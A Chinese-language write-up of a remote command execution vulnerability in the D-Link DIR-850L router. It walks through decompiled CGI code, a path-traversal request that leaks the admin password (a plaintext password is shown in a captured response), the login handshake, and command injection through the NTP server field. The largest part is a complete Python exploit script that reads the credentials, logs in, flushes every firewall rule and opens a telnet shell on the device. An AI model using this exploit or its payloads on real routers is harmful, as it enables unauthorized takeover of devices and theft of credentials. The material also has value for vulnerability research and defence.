0x01dlink850l远程命令执行漏洞
当管理员接口的配置信息发生改变时,变化的配置信息会以 xml 的数据格式发送给 hedwig.cgi ,由 hedwig.cgi 重载并应用这些配置信息,而在接受这个数据前,程序并没有对用户身份进行判断,导致非管理员用户也可向 hedwig.cgi 发送XML数据。在接收 XML 数据的过程中, hedwig.cgi 会调用 htdocs/webinc/fatlady.php 文件验证数据合法性。
hedwig.cgi其实是一个链接文件,指向/htdocs/cgibin文件,接收到用户请求的xml数据请求后先封装成xml文件,发送read xml的请求到xmldb server,然后发送execute php的请求到xmldb server。
hedwig.cgi
int hedwigcgi_main(void) { bool bVar1; char *__s1; FILE *__stream; undefined *puVar2; int __fd; void *pvVar3; void *pvVar4; int __fd_00; int iVar5; int iVar6; char **ppcVar7; char acStack1232 [20]; char *local_4bc [5]; char acStack1192 [128]; char acStack1064 [1024]; memset(acStack1064,0,0x400); memset(acStack1192,0,0x80); memcpy(acStack1232,"/runtime/session",0x11); __s1 = getenv("REQUEST_METHOD"); if (__s1 == (char *)0x0) { __s1 = "no REQUEST"; LAB_0040d1bc: pvVar3 = (void *)0x0; pvVar4 = (void *)0x0; LAB_0040d5f4: __fd_00 = -1; } else { __fd_00 = strcasecmp(__s1,"POST"); if (__fd_00 != 0) { __s1 = "unsupported HTTP request"; goto LAB_0040d1bc; } cgibin_parse_request(&LAB_0040d5fc,0,0x20000); __stream = fopen("/etc/config/image_sign","r"); //读取文件载入硬件版本 __s1 = fgets(acStack1192,0x80,__stream); if (__s1 == (char *)0x0) { __s1 = "unable to read signature!"; goto LAB_0040d1bc; } fclose(__stream); cgibin_reatwhite(acStack1192); pvVar3 = (void *)sobj_new(); pvVar4 = (void *)sobj_new(); if ((pvVar3 == (void *)0x0) || (pvVar4 == (void *)0x0)) { __s1 = "unable to allocate string object"; goto LAB_0040d5f4; } sess_get_uid((int)pvVar3); puVar2 = sobj_get_string((int)pvVar3); snprintf(acStack1064,0x400,"%s/%s/postxml","/runtime/session",puVar2); xmldbc_del((char *)0x0,0,acStack1064); //删掉临时文件 __stream = fopen("/var/tmp/temp.xml","w"); if (__stream == (FILE *)0x0) { __s1 = "unable to open temp file."; goto LAB_0040d5f4; } if (DAT_00437f30 == (char *)0x0) { __s1 = "no xml data."; goto LAB_0040d5f4; } __fd_00 = fileno(__stream); __fd_00 = lockf(__fd_00,3,0); if (__fd_00 < 0) { printf( "HTTP/1.1 200 OK\r\nContent-Type:text/xml\r\n\r\n<hedwig><result>BUSY</result><message>%s</message></hedwig>" ,0); __fd_00 = 0; goto LAB_0040d570; } ppcVar7 = local_4bc + 2; __fd = fileno(__stream); lockf(__fd,1,0); local_4bc[1] = (char *)0x0; local_4bc[2] = 0; local_4bc[3] = 0; local_4bc[4] = 0; local_4bc[0] = acStack1192; local_4bc[1] = strtok(acStack1232,"/"); __fd = 2; do { iVar6 = __fd; __fd = iVar6 + 1; __s1 = strtok((char *)0x0,"/"); *ppcVar7 = __s1; ppcVar7 = ppcVar7 + 1; } while (__s1 != (char *)0x0); ppcVar7 = local_4bc; iVar5 = 0; __s1 = sobj_get_string((int)pvVar3); local_4bc[iVar6] = __s1; fputs("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n",__stream); bVar1 = 0 < __fd; while (iVar5 = iVar5 + 1, bVar1) { __s1 = *ppcVar7; ppcVar7 = ppcVar7 + 1; fprintf(__stream,"<%s>\n",__s1); bVar1 = iVar5 < __fd; } __s1 = strstr(DAT_00437f30,"<postxml>"); fprintf(__stream,"%s\n",__s1); ppcVar7 = local_4bc + iVar6; do { __fd = __fd + -1; __s1 = *ppcVar7; ppcVar7 = ppcVar7 + -1; fprintf(__stream,"</%s>\n",__s1);//写入/var/tmp/temp.xml" } while (0 < __fd); fflush(__stream); xmldbc_read((char *)0x0,2,"/var/tmp/temp.xml"); //被其他文件读取 __fd = fileno(__stream); lockf(__fd,0,0); fclose(__stream); remove("/var/tmp/temp.xml"); //删掉 puVar2 = sobj_get_string((int)pvVar3); snprintf(acStack1064,0x400,"/htdocs/webinc/fatlady.php\nprefix=%s/%s","/runtime/session",puVar2) //这里读取/htdocs/webinc/fatlady.php ; xmldbc_ephp((char *)0x0,0,acStack1064,stdout);// 运行刚才读取的/htdocs/webinc/fatlady.php if (__fd_00 == 0) goto LAB_0040d570; __s1 = (char *)0x0; } printf( "HTTP/1.1 200 OK\r\nContent-Type:text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>" ,__s1); LAB_0040d570: if (DAT_00437f30 != (char *)0x0) { free(DAT_00437f30); } if (pvVar4 != (void *)0x0) { sobj_del(pvVar4); } if (pvVar3 != (void *)0x0) { sobj_del(pvVar3); } return __fd_00; }
跟上一篇类似的插入
参考https://blog.csdn.net/qq_38204481/article/details/105113896
fatlady.php
HTTP/1.1 200 OK Content-Type: text/xml <? include "/htdocs/phplib/trace.php"; /* get modules that send from hedwig */ /* call $target to do error checking, * and it will modify and return the variables, '$FATLADY_XXXX'. */ $FATLADY_result = "OK"; $FATLADY_node = ""; $FATLADY_message= "No modules for Hedwig"; /* this should not happen */ //TRACE_debug("FATLADY dump ====================\n".dump(0, "/runtime/session")); foreach ($prefix."/postxml/module") { del("valid"); if (query("FATLADY")=="ignore") continue; $service = query("service"); if ($service == "") continue; TRACE_debug("FATLADY: got service [".$service."]"); $target = "/htdocs/phplib/fatlady/".$service.".php"; /*FATLADY != ignore ,service字段可以直接被拼接并执行*/ $FATLADY_prefix = $prefix."/postxml/module:".$InDeX; $FATLADY_base = $prefix."/postxml"; if (isfile($target)==1) dophp("load", $target); else { TRACE_debug("FATLADY: no file - ".$target); $FATLADY_result = "FAILED"; $FATLADY_message = "No implementation for ".$service; } if ($FATLADY_result!="OK") break; } echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n"; echo "<hedwig>\n"; echo "\t<result>". $FATLADY_result. "</result>\n"; echo "\t<node>". $FATLADY_node. "</node>\n"; echo "\t<message>". $FATLADY_message. "</message>\n"; echo "</hedwig>\n"; ?>
利用payload
curl -d '<?xml version="1.0" encoding="utf-8"?><postxml><module><service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service></module></postxml>' -b "uid=demo" -H "Content-Type: text/xml" "http://VictimIp:8080/hedwig.cgi"
抓包
附加xml的post请求发送过去的命令触发漏洞
0x02dlink850l 命令执行漏洞获取shell
用./hedwig.cgi文件加载的fatlady.phpphp文件直接加载漏洞加载DEVICE.ACCOUNT.xml.php文件获取用户名,密码
请求:
POST /hedwig.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: text/xml
Cookie: uid=whatever
Content-Length: 150
<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
<service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
</module>
</postxml>
回应:
HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-850L Ver 1.14WW
Date: Fri, 27 May 2016 00:02:46 GMT
Transfer-Encoding: chunked
Content-Type: text/xml
<module>
<service></service>
<device>
<gw_name>DIR-850L</gw_name>
<account>
<seqno>1</seqno>
<max>2</max>
<count>1</count>
<entry>
<uid>USR-</uid>
<name>Admin</name>
<usrid></usrid>
<password>root1996</password>
<group>0</group>
<description></description>
</entry>
</account>
<group>
<seqno></seqno>
<max></max>
<count>0</count>
</group>
<session>
<captcha>0</captcha>
<dummy></dummy>
<timeout>600</timeout>
<maxsession>128</maxsession>
<maxauthorized>16</maxauthorized>
</session>
</device>
</module>
<?xml version="1.0" encoding="utf-8"?>
<hedwig>
<result>OK</result>
<node></node>
<message>No modules for Hedwig</message>
</hedwig>
/authentication.cgi 登录
a>获取到登录的 uid,callenge,使用GET请求
GET /authentication.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
回应
HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-850L Ver 1.14WW
Date: Fri, 27 May 2016 00:02:46 GMT
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
{"status": "ok", "errno": null, "uid": "0764udul3Z", "challenge": "d4efd41c-4595-4a16-b5b5-0d90dca490ca", "version": "0204"}
POST /authentication.cgi HTTP/1.1
b>使用uid键值对作为cookie,password与username+challenge作md5,发送post请求
POST /authentication.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: uid=0764udul3Z
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
id=Admin&password=7499059A6F694AD6117790A807038807
接下来将作为root用户获取shell
用/getcfg.php执行DEVICE.TIME.xml.php文件
/getcfg.php文件里面是
从post过去的信息中获取SERVICES字段执行对应php文件(其实这里有一个漏洞,执行这个php文件可以不用拿到admin用户的密码)
执行的getcfg.php文件可以设置SERVICES字段可以运行另一个文件DEVICE.TIME.xml.php
DEVICE.TIME.xml.php文件有命令执行漏洞
query函数会获取post携带的xml文件里面的对应标签的数值,类似python的xpath
fwrite函数是写入数据流中,a是追加,应该是把这些命令写入文件之后执行(这里可以是一个赋值语句如果$server设置为"metelesku; ("+COMMAND+") & exit;
"就会造成截断)
可以看到server字段被直接写入文件造成了命令执行。
发送报文
POST /getcfg.php HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: uid=0764udul3Z
Content-Length: 20
Content-Type: application/x-www-form-urlencoded
SERVICES=DEVICE.TIME
收到回应
$server = query("/device/time/ntp/server");
来获取.
用post /hedwig.cgi文件执行命令
/hedwig.cgi文件会执行fatlady.php文件,设置service位和TDEVICE.TIME执行命令
发送的报文如下
向pigwidgeon.cgi发送激活请求,使服务生效
发送的报文
POST /pigwidgeon.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: uid=0764udul3Z
Content-Length: 25
Content-Type: application/x-www-form-urlencoded
ACTIONS=SETCFG%2CACTIVATE
post /pigwidgeon.cgi文件设置xml内容为 ACTIONS=SETCFG%2CACTIVATE可以激活一个服务
0x03利用脚本
#!/usr/bin/env python3 # pylint: disable=C0103 #coding=utf-8 # pip3 install requests lxml # import hmac import json import sys from urllib.parse import urljoin from xml.sax.saxutils import escape import lxml.etree import requests COMMAND = ";".join([ "iptables -F", # 清空指定链 chain 上面的所有规则。如果没有指定链,清空该表上所有链的所有规则。 "iptables -X", #删除指定的链,这个链必须没有被其它任何规则引用,而且这条上必须没有任何规则。如果没有指定链名,则会删除该表中所有非内置的链。 "iptables -t nat -F", #对指定nat链表进行 -F操作 "iptables -t nat -X", # 定义地址转换的,也只能做在3个链上:PREROUTING ,OUTPUT ,POSTROUTING "iptables -t mangle -F", #修改报文原数据,是5个链都可以做:PREROUTING,INPUT,FORWARD,OUTPUT,POSTROUTING "iptables -t mangle -X", "iptables -P INPUT ACCEPT", # -P指定要匹配的数据包协议类型 INPUT链 :处理输入数据包 ACCEPT :接收数据包 "iptables -P FORWARD ACCEPT",#FORWARD链 :处理转发数据包。 "iptables -P OUTPUT ACCEPT", #OUTPUT链 :处理输出数据包。 "telnetd -p 23090 -l /bin/date" # 开启telnet服务。 之后执行命令:telnet 192.168.0.1 23090 拿到shell ]) try: requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) except: pass TARGET = sys.argv[1] session = requests.Session() session.verify = False ############################################################获取用户名密码 print("Get password...") headers = {"Content-Type": "text/xml"} cookies = {"uid": "whatever"} data = """<?xml version="1.0" encoding="utf-8"?> <postxml> <module> <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service> </module> </postxml>""" resp = session.post(urljoin(TARGET, "./hedwig.cgi"), headers=headers, cookies=cookies, data=data) # print(resp.text) # getcfg: <module>...</module> # hedwig: <?xml version="1.0" encoding="utf-8"?> # : <hedwig>...</hedwig> accdata = resp.text[:resp.text.find("<?xml")] admin_pasw = "" tree = lxml.etree.fromstring(accdata) accounts = tree.xpath("/module/device/account/entry") for acc in accounts: name = acc.findtext("name", "") pasw = acc.findtext("password", "") print("name:", name) print("pass:", pasw) if name == "Admin": admin_pasw = pasw if not admin_pasw: print("Admin password not found!") sys.exit() ############################################################ 通过/authentication.cgi获取key #登录方式: #1.发送get请求/authentication.cgi #将获取到{"status": "ok", "errno": null, "uid": "MPxUAS6sZp", # "challenge": "c75a69e4-d1fe-4a47-b152-b494c9174316", "version": "0204"} #2.使用uid键值对作为cookie,password与username+challenge作md5 #3.发送post请求到/authentication.cgi print("Auth challenge...") resp = session.get(urljoin(TARGET, "/authentication.cgi")) # print(resp.text) resp = json.loads(resp.text) if resp["status"].lower() != "ok": print("Failed!") print(resp.text) sys.exit() print("uid:", resp["uid"]) print("challenge:", resp["challenge"]) session.cookies.update({"uid": resp["uid"]}) print("Auth login...") user_name = "Admin" user_pasw = admin_pasw data = { "id": user_name, "password": hmac.new(user_pasw.encode(), (user_name + resp["challenge"]).encode(), "md5").hexdigest().upper() } resp = session.post(urljoin(TARGET, "/authentication.cgi"), data=data) # print(resp.text) resp = json.loads(resp.text) if resp["status"].lower() != "ok": print("Failed!") print(resp.text) sys.exit() print("OK") ############################################################设置cookie:uid=MPxUAS6sZp data = {"SERVICES": "DEVICE.TIME"} # POST /getcfg.php HTTP/1.1 # Host: 192.168.0.1 # User-Agent: python-requests/2.18.4 # Accept-Encoding: gzip, deflate # Accept: */* # Connection: keep-alive # Cookie: uid=MPxUAS6sZp # Content-Length: 20 # Content-Type: application/x-www-form-urlencoded # # SERVICES=DEVICE.TIME resp = session.post(urljoin(TARGET, "/getcfg.php"), data=data) #文件执行 print(resp.text) tree = lxml.etree.fromstring(resp.content) #设置要发送的xml文件的service字段和要执行的命令 tree.xpath("//ntp/enable")[0].text = "1" tree.xpath("//ntp/server")[0].text = "metelesku; ("+COMMAND+") & exit; " tree.xpath("//ntp6/enable")[0].text = "1" ############################################################ # print("hedwig") #hedwig.cgi文件里面执行fatlady.php文件,设置service位和TDEVICE.TIME可以执行执行TDEVICE.TIME.xml.php #TDEVICE.TIME.xml.php文件可以执行命令 headers = {"Content-Type": "text/xml"} data = lxml.etree.tostring(tree) resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, data=data) # print(resp.text) tree = lxml.etree.fromstring(resp.content) result = tree.findtext("result") if result.lower() != "ok": print("Failed!") print(resp.text) sys.exit() print("OK") ############################################################ #激活服务 print("pigwidgeon") data = {"ACTIONS": "SETCFG,ACTIVATE"} resp = session.post(urljoin(TARGET, "/pigwidgeon.cgi"), data=data) # print(resp.text) tree = lxml.etree.fromstring(resp.content) result = tree.findtext("result") if result.lower() != "ok": print("Failed!") print(resp.text) sys.exit() print("OK")